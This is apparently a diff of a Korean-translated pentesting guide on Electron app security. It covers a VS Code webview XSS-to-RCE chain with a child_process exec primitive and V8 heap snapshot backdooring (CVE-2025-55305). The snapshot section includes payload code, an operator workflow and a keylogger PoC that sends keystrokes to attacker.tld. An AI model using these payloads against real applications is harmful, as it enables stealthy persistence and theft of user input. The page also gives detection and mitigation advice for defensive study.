Electron 앱은 **XSS 공격을 방지**하기 위해 **콘텐츠 보안 정책 (CSP)**을 가져야 합니다. **CSP**는 브라우저에서 **신뢰할 수 없는 코드의 실행**을 방지하는 데 도움이 되는 **보안 표준**입니다.
|
||||
Electron 앱은 XSS 공격을 방지하기 위해 Content Security Policy (CSP)를 가져야 합니다. CSP는 브라우저에서 신뢰되지 않은 코드의 실행을 방지하는 보안 표준입니다.
|
||||
|
||||
보통 **`main.js`** 파일이나 템플릿의 **`index.html`** 안에 있는 **meta tag**로 **구성**됩니다.
|
||||
대개 `main.js` 파일이나 `index.html` 템플릿의 meta 태그 안에 있는 CSP로 구성됩니다.
|
||||
|
||||
For more information check:
|
||||
자세한 내용은 다음을 확인하세요:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -401,18 +400,41 @@ pentesting-web/content-security-policy-csp-bypass/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## **Tools**
|
||||
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) 는 Electron 기반 애플리케이션의 잘못된 구성과 보안 안티패턴을 식별하는 도구입니다.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) 는 Electronegativity를 사용하는 Electron 애플리케이션용 오픈 소스 VS Code 플러그인입니다.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) 은 취약한 서드파티 라이브러리를 검사하는 도구입니다.
|
||||
- [**Electro.ng**](https://electro.ng/): You need to buy it
|
||||
이 실전 체인은 Visual Studio Code 1.63 (CVE-2021-43908)에 영향을 미쳤으며, webview에서 단일 markdown 기반 XSS가 CSP, postMessage 및 scheme handlers가 잘못 구성된 경우 어떻게 전체 RCE로 확장될 수 있는지 보여줍니다. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||||
|
||||
## Labs
|
||||
Attack chain overview
|
||||
- First XSS via webview CSP: 생성된 CSP는 `style-src 'self' 'unsafe-inline'`를 포함하여 `vscode-webview://` 컨텍스트에서 인라인/스타일 기반 인젝션을 허용했습니다. 페이로드는 대상 webview의 extensionId를 exfiltrate하기 위해 `/stealID`로 beaconed 했습니다.
|
||||
- Constructing target webview URL: 유출된 ID를 사용해 `vscode-webview://<extensionId>/.../<publicUrl>`를 구성했습니다.
|
||||
- Second XSS via postMessage trust: 외부 webview는 `window.postMessage`를 엄격한 origin/type 검사 없이 신뢰했고, `allowScripts: true`로 공격자 HTML을 로드했습니다.
|
||||
- Local file loading via scheme/path rewriting: 페이로드는 `file:///...`을 `vscode-file://vscode-app/...`로 재작성하고 `exploit.md`를 `RCE.html`로 교체하여 약한 경로 검증을 악용해 권한 있는 로컬 리소스를 로드했습니다.
|
||||
- RCE in Node-enabled context: 로드된 HTML은 Node API가 사용 가능한 상태로 실행되어 OS 명령 실행을 획득했습니다.
|
||||
|
||||
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.
|
||||
Example RCE primitive in the final context
|
||||
```js
|
||||
// RCE.html (executed in a Node-enabled webview context)
|
||||
require('child_process').exec('calc.exe'); // Windows
|
||||
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
|
||||
```
|
||||
postMessage 신뢰 문제 관련 참고 자료:
|
||||
|
||||
Some commands that will help you will the lab:
|
||||
{{#ref}}
|
||||
../../../pentesting-web/postmessage-vulnerabilities/README.md
|
||||
{{#endref}}
|
||||
|
||||
## **도구**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity)는 Electron-based applications의 잘못된 설정과 보안 안티패턴을 식별하는 도구입니다.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint)는 Electronegativity를 사용하는 Electron applications용 오픈 소스 VS Code 플러그인입니다.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)는 취약한 서드파티 라이브러리를 검사하는 데 사용됩니다.
|
||||
- [**Electro.ng**](https://electro.ng/): 구매해야 합니다
|
||||
|
||||
## 실습
|
||||
|
||||
[https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)에서 취약한 Electron 앱을 익스플로잇하는 실습을 찾을 수 있습니다.
|
||||
|
||||
실습에 도움이 될 몇 가지 명령:
|
||||
```bash
|
||||
# Download apps from these URls
|
||||
# Vuln to nodeIntegration
|
||||
@ -435,20 +457,20 @@ cd vulnerable1
|
||||
npm install
|
||||
npm start
|
||||
```
|
||||
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||
## 로컬 백도어 삽입 via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||
|
||||
Electron 및 Chromium 기반 앱은 시작 시 미리 만들어진 V8 heap snapshot(v8_context_snapshot.bin, 선택적으로 browser_v8_context_snapshot.bin)을 deserialize하여 각 V8 isolate(main, preload, renderer)를 초기화합니다. 역사적으로 Electron의 integrity fuses는 이러한 스냅샷을 실행 가능한 콘텐츠로 취급하지 않아 fuse 기반 무결성 강제 및 OS 코드 서명 검사 둘 다를 회피했습니다. 결과적으로 사용자 쓰기 가능한 설치 위치에 있는 스냅샷을 교체하면 서명된 바이너리나 ASAR을 수정하지 않고도 앱 내부에서 은밀하고 영구적인 코드 실행을 제공했습니다.
|
||||
Electron 및 Chromium 기반 앱은 시작 시 미리 빌드된 V8 heap snapshot을 역직렬화하여 각 V8 isolate (main, preload, renderer)를 초기화합니다 (v8_context_snapshot.bin, 선택적으로 browser_v8_context_snapshot.bin). 역사적으로, Electron’s integrity fuses는 이러한 snapshots를 실행 가능한 콘텐츠로 취급하지 않았기 때문에 fuse 기반 무결성 강제와 OS 코드 서명 검사를 모두 회피했습니다. 결과적으로, 사용자 쓰기 가능한 설치 경로의 snapshot을 교체하면 서명된 바이너리나 ASAR을 수정하지 않고도 앱 내에서 은밀하고 지속적인 코드 실행을 확보할 수 있었습니다.
|
||||
|
||||
핵심 사항
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation 및 OnlyLoadAppFromAsar는 ASAR 내부의 앱 JavaScript를 검증하지만 V8 heap snapshots(CVE-2025-55305)은 커버하지 않았습니다. Chromium도 유사하게 스냅샷에 대해 무결성 검사를 수행하지 않습니다.
|
||||
- Attack preconditions: 앱 설치 디렉터리에 대한 로컬 파일 쓰기 권한. 이는 Electron 앱이나 Chromium 브라우저가 사용자 쓰기 가능한 경로(예: Windows의 %AppData%\Local; macOS에서는 /Applications에 일부 예외 있음)에 설치된 시스템에서 흔합니다.
|
||||
- Effect: 자주 사용되는 builtin(일명 “gadget”)을 덮어써서 어떤 isolate에서도 공격자 JavaScript를 신뢰성 있게 실행할 수 있으며, 이를 통해 지속성 확보 및 코드 서명 검증 회피가 가능합니다.
|
||||
- Affected surface: integrity fuses가 활성화된 경우에도 Electron 앱과 사용자 쓰기 가능한 위치에서 스냅샷을 로드하는 Chromium 기반 브라우저가 영향을 받습니다.
|
||||
Key points
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar는 ASAR 내부의 앱 JavaScript를 검증하지만, V8 heap snapshots는 검증 대상이 아니었습니다 (CVE-2025-55305). Chromium 또한 snapshots에 대해 무결성 검사를 수행하지 않습니다.
|
||||
- Attack preconditions: 앱 설치 디렉터리에 대한 로컬 파일 쓰기 권한. Electron 앱이나 Chromium 브라우저가 사용자 쓰기 가능한 경로에 설치되는 시스템에서 흔합니다(예: %AppData%\Local on Windows; /Applications with caveats on macOS).
|
||||
- Effect: 자주 사용되는 builtin(“gadget”)을 덮어써서 어떤 isolate에서도 공격자 JavaScript를 신뢰성 있게 실행하도록 하며, 이를 통해 지속성 확보 및 코드 서명 검증 회피가 가능합니다.
|
||||
- Affected surface: snapshot을 사용자 쓰기 가능한 위치에서 로드하는 Electron 앱(심지어 fuses가 활성화된 경우도 포함) 및 Chromium 기반 브라우저.
|
||||
|
||||
Chromium을 빌드하지 않고 악성 스냅샷 생성
|
||||
- 미리 빌드된 electron/mksnapshot을 사용해 payload JS를 스냅샷으로 컴파일한 후 애플리케이션의 v8_context_snapshot.bin을 덮어쓰면 됩니다.
|
||||
Generating a malicious snapshot without building Chromium
|
||||
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
|
||||
|
||||
예시 최소 페이로드 (크래시를 유발해 실행을 증명)
|
||||
Example minimal payload (prove execution by forcing a crash)
|
||||
```js
|
||||
// Build snapshot from this payload
|
||||
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
@ -462,11 +484,11 @@ Array.isArray = function () {
|
||||
throw new Error("testing isArray gadget");
|
||||
};
|
||||
```
|
||||
Isolate-aware payload routing (run different code in main vs. renderer)
|
||||
- Main process detection: Node-only globals(예: process.pid, process.binding(), process.dlopen)은 main process isolate에 존재합니다.
|
||||
- Browser/renderer detection: Browser-only globals(예: alert)은 document context에서 실행될 때 사용 가능합니다.
|
||||
Isolate-aware 페이로드 라우팅 (main vs. renderer에서 서로 다른 코드 실행)
|
||||
- Main process detection: Node 전용 전역 객체인 process.pid, process.binding(), process.dlopen 등이 main process isolate에 존재합니다.
|
||||
- Browser/renderer detection: document 컨텍스트에서 실행될 때 alert 같은 Browser 전용 전역 객체를 사용할 수 있습니다.
|
||||
|
||||
예제 gadget은 main-process Node 기능을 한 번 탐지합니다.
|
||||
한 번만 main-process의 Node 기능을 탐지하는 예제 가젯
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
|
||||
@ -495,7 +517,7 @@ process.exit(0);
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Renderer/browser-context data theft PoC (예: Slack)
|
||||
Renderer/browser-context 데이터 탈취 PoC (예: Slack)
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
Array.isArray = function() {
|
||||
@ -519,27 +541,31 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
운영자 작업 흐름
|
||||
1) payload.js를 작성하여 common builtin(예: Array.isArray)을 덮어쓰고, 선택적으로 isolate마다 분기합니다.
|
||||
2) Chromium 소스 없이 snapshot을 빌드합니다:
|
||||
Operator workflow
|
||||
1) 공통 내장 함수(예: Array.isArray)를 덮어쓰고 선택적으로 isolate별 분기 처리를 하는 payload.js를 작성한다.
|
||||
2) Chromium 소스 없이 snapshot을 빌드한다:
|
||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
3) 대상 애플리케이션의 snapshot 파일을 덮어씁니다:
|
||||
3) 대상 애플리케이션의 snapshot 파일을 덮어쓴다:
|
||||
- v8_context_snapshot.bin (항상 사용됨)
|
||||
- browser_v8_context_snapshot.bin (LoadBrowserProcessSpecificV8Snapshot fuse가 사용되는 경우)
|
||||
4) 애플리케이션을 실행하면 선택한 builtin이 사용될 때마다 gadget이 실행됩니다.
|
||||
- browser_v8_context_snapshot.bin (LoadBrowserProcessSpecificV8Snapshot fuse가 사용된 경우)
|
||||
4) 애플리케이션을 실행하면 선택한 내장 함수가 사용될 때마다 gadget이 실행된다.
|
||||
|
||||
노트 및 고려사항
|
||||
- Integrity/signature bypass: Snapshot 파일은 code-signing checks에 의해 네이티브 실행 파일로 취급되지 않으며 (역사적으로) Electron의 fuses나 Chromium 무결성 통제의 적용을 받지 않았습니다.
|
||||
- Persistence: 사용자 쓰기 권한이 있는 설치 위치에 snapshot을 교체하면 일반적으로 앱 재시작을 견디며 서명된 정식 앱처럼 보입니다.
|
||||
- Chromium browsers: 동일한 변조 개념은 사용자 쓰기 가능한 위치에 설치된 Chrome/파생 브라우저에도 적용됩니다. Chrome은 다른 무결성 완화책을 가지고 있지만 물리적으로 로컬인 공격(physically local attacks)은 위협 모델에서 명시적으로 제외합니다.
|
||||
Notes and considerations
|
||||
- Integrity/signature bypass: Snapshot 파일은 코드 서명 검사에서 네이티브 실행 파일로 취급되지 않으며 (역사적으로) Electron의 fuses나 Chromium 무결성 제어의 적용 대상이 아니었다.
|
||||
- Persistence: 사용자 쓰기 가능한 설치 위치의 snapshot을 교체하면 일반적으로 앱 재시작을 견디며 서명된 합법적 앱처럼 보인다.
|
||||
- Chromium browsers: 동일한 변조 개념은 사용자 쓰기 가능한 위치에 설치된 Chrome/파생 브라우저에도 적용된다. Chrome은 다른 무결성 완화책을 보유하고 있지만 물리적 로컬 공격은 위협 모델에서 명시적으로 제외한다.
|
||||
|
||||
탐지 및 완화
|
||||
- snapshot을 실행 가능한 콘텐츠로 취급하고 무결성 강제 대상에 포함시킵니다 (CVE-2025-55305 fix).
|
||||
- 관리자 전용 쓰기 가능한 설치 위치를 선호하고; v8_context_snapshot.bin 및 browser_v8_context_snapshot.bin의 해시를 기준값화하고 모니터링합니다.
|
||||
- 초기 런타임에서의 builtin clobbering 및 예기치 않은 snapshot 변경을 탐지하고, deserialized snapshots가 예상값과 일치하지 않으면 경고합니다.
|
||||
Detection and mitigations
|
||||
- Snapshot을 실행 가능한 콘텐츠로 취급하고 무결성 강제에 포함시킨다 (CVE-2025-55305 수정).
|
||||
- 관리자 전용 쓰기 가능한 설치 위치를 권장; v8_context_snapshot.bin 및 browser_v8_context_snapshot.bin의 해시를 기준선으로 설정하고 모니터링한다.
|
||||
- 초기 런타임에서의 내장 함수 덮어쓰기와 예상치 못한 snapshot 변경을 탐지한다; 역직렬화된 스냅샷이 예상 값과 일치하지 않을 때 경보를 발생시킨다.
|
||||
|
||||
## **참고자료**
|
||||
## **References**
|
||||
|
||||
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
|
||||
- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
|
||||
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
|
||||
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
|
||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||
@ -549,7 +575,6 @@ return orig(...arguments);
|
||||
- [Loki C2](https://github.com/boku7/Loki/)
|
||||
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
||||
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
|
||||
|
||||
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||
|
Loading…
x
Reference in New Issue
Block a user